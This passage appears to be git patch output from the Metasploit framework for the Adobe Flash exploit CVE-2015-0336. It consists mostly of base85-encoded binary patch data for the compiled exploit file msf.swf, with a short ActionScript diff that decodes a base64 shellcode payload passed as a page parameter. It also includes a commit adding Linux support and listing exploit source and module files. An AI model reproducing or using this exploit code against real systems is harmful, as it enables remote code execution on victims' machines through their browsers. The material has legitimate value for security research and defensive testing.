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 = new Vector.(0x6400) public function Msf() { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr ba.endian = "littleEndian" From e5d42850c1bed947659ab1f5550c58a1ea16c175 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 27 May 2015 17:05:10 -0500 Subject: [PATCH 0208/1013] Add support for Linux to CVE-2015-0336 --- data/exploits/CVE-2015-0336/msf.swf | Bin 18121 -> 20599 bytes data/exploits/CVE-2015-0336/trigger_linux.swf | Bin 0 -> 340 bytes external/source/exploits/CVE-2015-0336/Elf.as | 235 +++++++++++++ .../source/exploits/CVE-2015-0336/Exploit.as | 120 +++++++ .../CVE-2015-0336/ExploitByteArray.as | 82 +++++ .../exploits/CVE-2015-0336/ExploitVector.as | 74 ++++ .../exploits/CVE-2015-0336/Exploiter.as | 251 ++++++++++++++ .../source/exploits/CVE-2015-0336/Logger.as | 32 ++ external/source/exploits/CVE-2015-0336/Msf.as | 321 ------------------ external/source/exploits/CVE-2015-0336/PE.as | 63 ++++ .../TriggerLinux/TriggerLinux.as2proj | 60 ++++ .../CVE-2015-0336/TriggerLinux/src/Main.as | 18 + .../adobe_flash_net_connection_confusion.rb | 167 +++++++++ .../adobe_flash_net_connection_confusion.rb | 3 + 14 files changed, 1105 insertions(+), 321 deletions(-) mode change 100755 => 100644 data/exploits/CVE-2015-0336/msf.swf create mode 100755 data/exploits/CVE-2015-0336/trigger_linux.swf create mode 100644 external/source/exploits/CVE-2015-0336/Elf.as create mode 100644 external/source/exploits/CVE-2015-0336/Exploit.as create mode 100644 external/source/exploits/CVE-2015-0336/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2015-0336/ExploitVector.as create mode 100644 external/source/exploits/CVE-2015-0336/Exploiter.as create mode 100644 external/source/exploits/CVE-2015-0336/Logger.as delete mode 100755 external/source/exploits/CVE-2015-0336/Msf.as create mode 100644 external/source/exploits/CVE-2015-0336/PE.as create mode 100755 external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj create mode 100755 external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as create mode 100644 modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf old mode 100755 new mode 100644 index 97b6ffe99c8b2f00fb4196a19f6bd600601dfc99..c014a3ef20856c4d1e2997a15ca1c484c113160c GIT binary patch delta 20478 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 